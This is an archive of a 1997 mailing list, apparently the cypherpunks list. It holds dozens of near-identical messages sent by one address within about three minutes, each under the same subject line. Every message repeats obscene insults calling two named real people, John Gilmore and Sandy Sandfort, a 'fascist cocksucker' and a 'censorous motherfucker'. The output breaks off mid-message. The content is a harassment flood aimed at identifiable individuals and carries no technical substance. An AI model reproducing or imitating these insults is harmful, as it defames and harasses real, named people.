12:25:57 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:25:57 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770997.521787.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:03 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:03 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771147.523072.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:07 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:07 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771061.522335.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:09 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:09 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771083.522522.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:14 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:14 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770995.521770.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:18 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:18 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771003.521828.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:27 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:27 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771042.522195.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:28 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:28 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771155.523154.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:31 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:31 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770993.521758.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:37 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:37 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771049.522247.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:40 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:40 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771045.522214.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:42 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:42 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771151.523108.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:47 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:47 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771007.521850.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:26:52 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:26:52 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771076.522445.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:00 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:00 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771123.522865.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:02 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:02 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771087.522545.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:06 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:06 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771073.522431.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:16 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:16 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771086.522541.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:16 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:16 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771054.522275.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771085.522526.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:33 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:33 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771136.522970.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:43 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:43 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771073.522430.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:44 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:44 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771039.522161.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:53 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:53 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771041.522184.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:54 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:54 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771092.522580.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:57 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:57 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771145.523055.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:27:58 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:27:58 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771119.522827.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:04 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:04 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770987.521705.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:06 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:06 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771032.522103.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:07 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:07 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771165.523242.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:12 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:12 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771024.522006.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:13 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:13 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770989.521714.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:18 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:18 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771114.522804.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:28:25 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:28:25 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771172.523302.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is 